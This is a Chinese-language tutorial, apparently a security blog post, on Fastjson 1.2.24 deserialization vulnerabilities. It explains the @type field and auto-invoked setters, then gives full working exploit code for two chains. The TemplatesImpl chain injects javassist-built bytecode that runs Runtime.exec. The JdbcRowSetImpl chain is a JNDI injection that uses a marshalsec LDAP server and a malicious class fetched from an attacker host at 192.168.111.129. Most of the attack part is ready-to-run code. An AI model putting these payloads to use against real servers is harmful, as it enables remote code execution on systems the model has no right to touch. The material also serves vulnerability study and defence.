Fastjson使用 astjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java  Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
pom.xml设置
1 2 3 4 5 <dependency >              <groupId > com.alibaba</groupId >              <artifactId > fastjson</artifactId >              <version > 1.2.24</version >          </dependency > 
 
先定义一个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  User   {     private  String name;     private  int  age;     public  String getName ()   {         return  name;     }     public  void  setName (String name)   {         this .name = name;     }     public  int  getAge ()   {         return  age;     }     public  void  setAge (int  age)   {         this .age = age;     } }
 
FastJson反序列化有三种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.serializer.SerializerFeature;public  class  Test   {     public  static  void  main (String[] args)   {         User user=new  User();         user.setName("admin" );         user.setAge(14 );                  String serializedStr=JSON.toJSONString(user);         System.out.println(serializedStr);                  Object obj1=JSON.parse(serializedStr);         System.out.println("通过parse方法反序列化" );         System.out.println(obj1.getClass().getName());         System.out.println(obj1);         Object obj2=JSON.parseObject(serializedStr);         System.out.println("通过parseObject方法,不指定类进行反序列化" );         System.out.println(obj2.getClass().getName());         System.out.println(obj2);         Object obj3=JSON.parseObject(serializedStr,User.class);         System.out.println("通过parseObject方法,指定User类进行反序列化" );         System.out.println(obj3.getClass().getName());         System.out.println(obj3);     } }
 
执行结果如下
可以看到JSON.parse和未指定对象的JSON.parseObject都会返回JSONObject,而JSON.parseObject指定类后会返回相应的类对象。它们不仅返回结果不同,执行过程中调用的方法也不同。
type字段 修改User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  class  User   {     private  String name;     private  int  age;     public  String getName ()   {         System.out.println("getName" );         return  name;     }     public  void  setName (String name)   {         System.out.println("setName" );         this .name = name;     }     public  int  getAge ()   {         System.out.println("getAge" );         return  age;     }     public  void  setAge (int  age)   {         System.out.println("setAge" );         this .age = age;     } }
 
 FastJson中有一个特殊字段type,这个字段可以指定反序列化任意类,并且会自动调用类中符合规则的特定的setter和getter方法。
1 2 3 4 5 parse ("" )   会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject ("" )   会调用反序列化目标类的特定 setter 和 getter 方法parseObject ("" ,class)   会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
 
规则
1 2 3 4 5 6 7 8 9 10 11 set开头的方法要求如下:-  方法名长度大于4且以set开头,且第四个字母要是大写-  非静态方法-  返回类型为void或当前类-  参数个数为1个 get开头的方法要求如下:-  方法名长度大于等于4        -  非静态方法-  以get开头且第4个字母为大写-  无传入参数-  返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
 
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.serializer.SerializerFeature;public  class  Test   {     public  static  void  main (String[] args)   {         String jsonstring="{\"@type\":\"User\",\"age\":80,\"name\":\"admin\"}" ;         System.out.println("parse:" );         Object obj1=JSON.parse(jsonstring);         System.out.println(obj1.getClass().getName());         System.out.println(obj1);         System.out.println("parseObject:" );         Object obj2=JSON.parseObject(jsonstring);         System.out.println(obj2.getClass().getName());         System.out.println(obj2);         System.out.println("parseObject with class:" );         Object obj3=JSON.parseObject(jsonstring,User.class);         System.out.println(obj3.getClass().getName());         System.out.println(obj3);     } }
 
运行结果
1 2 3 4 5 type可以指定反序列化成服务器上的任意类 然后服务端会解析这个类,提取出这个类中符合要求的setter 方法与getter 方法(如setxxx) 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter 、getter 方法(即setxxx方法、getxxx方法)
 
利用链 TemplatesImpl 基于JDK 7u21 Gadgets,1.7版本通用,利用条件苛刻
利用条件
1 2 3 1.  服务端使用parseObject() 时,必须使用如下格式才能触发漏洞:     `JSON . parseObject(input , Object.class , Feature.SupportNonPublicField) ;`2.  服务端使用parse() 时,需要`JSON . parse(text1,Feature.SupportNonPublicField);`
 
jdk7u21反序列化的利用条件
1 2 3 4 5 1 .恶意类的父类必须为ABSTRACT_TRANSLET  2 .TemplatesImpl类的_bytecodes 不为null  ,为恶意类字节码,payload 写在恶意类的静态方法或构造方法3 .TemplatesImpl类的_name 不为null 4 .TemplatesImpl类的_class =null 5 ._tfactory需要是一个拥有getExternalExtensionsMap ()方法的类,即TransformerFactoryImpl (),以此来兼容不同版本
 
构造exp,FastJson反序列化过程中对_bytecodes、_tfactory等属性进行了操作,需要另外处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.parser.Feature;import  com.alibaba.fastjson.parser.ParserConfig;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.*;import  org.apache.commons.codec.binary.Base64;public  class  Test   {     public  static  byte [] getevilbyte() throws  Exception {         ClassPool pool = ClassPool.getDefault();         CtClass ctClass = pool.makeClass("Evil" );                  ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" );                  ctClass.setSuperclass((pool.get(AbstractTranslet.class.getName())));                  byte [] EvilByteCodes = ctClass.toBytecode();         return  EvilByteCodes;     }     public  static  void  main (String[] args)  throws   Exception  {                  byte [] evilCode = getevilbyte();                  String evilCode_base64 = Base64.encodeBase64String(evilCode);         String text1 = "{" +                 "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +                 "\"_bytecodes\":[\"" +evilCode_base64+"\"]," +                 "'_name':'xx'," +                 "'_tfactory':{ }," +                 "'_outputProperties':{ }" +                 "}\n" ;         System.out.println(text1);                           ParserConfig config = new  ParserConfig();                  Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);     } }
 
_bytecodes _bytecodes传输过程中会经过base64解码,所以在payload中需要进行base64编码
FieldDeserializer#parseField
parseField中对_bytecodes中的内容进行了解析
deserialize
parseArray
ObjectDeserializer#deserializer
byteValue
对_bytecodes进行base64解码
_tfactory FastJson会自动新建一个符合要求的对象实例,所以exp中_factory为{}
1 /com/ alibaba/fastjson/ parser/deserializer/ JavaBeanDeserializer.java
 
JdbcRowSetImpl 前面提到了FastJson反序列化会自动调用类中符合规则的特定的setter和getter方法。com.sun.rowset.JdbcRowSetImpl的setAutoCommit()方法中调用了lookup(),且参数DataSourceName可控,由setDataSourceName()方法设置。由于这两个方法都符合规则,反序列化时自动调用这两个setter方法造成JNDI注入,进而触发命令执行。
JdbcRowSetImpl#setDataSourceName
调用父类的setDataSourceName
BaseRowSet#setDataSourceName
父类的setDataSourceName,把var1赋值给dataSoruce
setAutoCommit
这里调用了connect()方法,var1来源于POC中构造的属性autoCommit,实际测试中发现这个值可以是true也可以是false,只要保证有一个布尔类型的参数传入就不会影响正常执行。
connection
调用lookup,this.getDataSourceName()等于var1,接着请求我们的ldap服务器,触发命令执行
接下来就是JNDI注入利用的思路了
使用marshalsec搭建ldap服务器
1 java  -cp marshalsec-0 .0 .3 -SNAPSHOT-all .jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090 /#ExecTest
 
ExecTest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import  java.io.BufferedReader;import  java.io.IOException;import  java.io.InputStream;import  java.io.InputStreamReader;import  java.io.Reader;import  javax.print.attribute.standard.PrinterMessageFromOperator;public  class  ExecTest   {     public  ExecTest ()  throws  IOException,InterruptedException {                  String cmd="calc" ;         final  Process process = Runtime.getRuntime().exec(cmd);         printMessage(process.getInputStream());;         printMessage(process.getErrorStream());         int  value=process.waitFor();         System.out.println(value);     }     private  static  void  printMessage (final  InputStream input)   {                  new  Thread (new  Runnable() {             @Override              public  void  run ()   {                                  Reader reader =new  InputStreamReader(input);                 BufferedReader bf = new  BufferedReader(reader);                 String line = null ;                 try  {                     while  ((line=bf.readLine())!=null )                     {                         System.out.println(line);                     }                 }catch  (IOException  e){                     e.printStackTrace();                 }             }         }).start();     }     public  static  void  main (String[] args)   {     } }
 
把编译后的恶意类ExecTest.class放到web目录下,然后开启web服务
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  com.alibaba.fastjson.JSON;public  class  Test   {     public  static  void  main (String[] args)  throws   Exception  {          String payload = "{\n"  +                  "    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"  +                 "    \"dataSourceName\":\"ldap://192.168.111.129:1389/ExecTest\",\n"  +                 "    \"autoCommit\":true\n"  +                 "}" ;         JSON.parseObject(payload);     } }
 
实际执行的代码
1 2 3 4 5 6 7 8 9 10 import  com.sun.rowset.JdbcRowSetImpl;public  class  CLIENT   {     public  static  void  main (String[] args)  throws  Exception  {         JdbcRowSetImpl JdbcRowSetImpl_inc = new  JdbcRowSetImpl();         JdbcRowSetImpl_inc.setDataSourceName("ldap://192.168.111.129:1389/ExecTest" );         JdbcRowSetImpl_inc.setAutoCommit(true );     } }